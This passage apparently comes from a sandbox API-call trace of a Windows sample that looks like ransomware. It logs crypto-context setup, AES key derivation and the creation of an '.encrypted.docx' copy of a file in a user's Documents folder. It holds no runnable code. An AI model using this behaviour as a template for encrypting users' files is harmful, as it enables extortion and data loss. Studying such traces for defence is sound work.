| out: lpMsg=0xe8f3dfe760) returned 0 [0024.009] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.009] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.009] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.009] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.009] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.009] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.009] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.009] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.010] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0024.011] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.011] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.011] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.011] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0024.011] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.011] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.011] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.011] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.011] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.011] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.011] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0024.011] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.011] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.011] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.011] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.011] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.012] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.012] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.012] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.012] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.012] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.012] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.012] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.012] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.012] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0024.013] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=2674) returned 1 [0024.013] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.013] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0024.013] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0024.013] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0xa72, lpOverlapped=0x0) returned 1 [0024.013] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0024.013] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xa72, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.013] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=2674) returned 1 [0024.014] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.014] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.014] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.014] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.014] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.014] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0024.014] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.015] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0024.016] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.016] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.016] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0024.016] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.016] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.016] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0024.016] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.016] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0024.016] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0024.016] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.016] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.016] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.016] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.016] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.016] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.016] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.016] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.016] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.016] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.016] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0024.016] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.016] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0024.016] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.017] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.017] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0024.017] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.017] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.017] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0024.017] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.017] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0024.017] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0024.017] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.017] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.017] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.017] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.017] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.017] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.017] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0024.017] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.017] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.017] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.017] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.017] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.017] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.017] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0024.017] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.017] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.017] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0024.018] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0024.019] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.020] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0024.020] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.020] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.021] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.021] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.021] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.021] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0024.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0xe8f417b020, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0024.022] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptCreateHash") returned 0x7ffe2a59e85c [0024.022] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0024.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.023] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0024.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.023] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.023] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.023] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.023] CryptHashData (hHash=0xe8f4062b10, pbData=0xe8f418b390, dwDataLen=0x20, dwFlags=0x1) returned 1 [0024.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.023] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.023] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.023] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.023] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.023] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.023] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062b10, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4061c30) returned 1 [0024.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.023] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.023] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0024.023] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.024] CryptDestroyHash (hHash=0xe8f4062b10) returned 1 [0024.024] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.024] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.024] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.024] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.024] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.024] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.024] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0024.024] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.024] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.024] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.024] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\" (normalized: "c:\\users\\5jghkoaofdp\\documents")) returned 0x11 [0024.024] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\EcMUW.encrypted.docx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\ecmuw.encrypted.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.025] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.025] PeekMessageW (in: 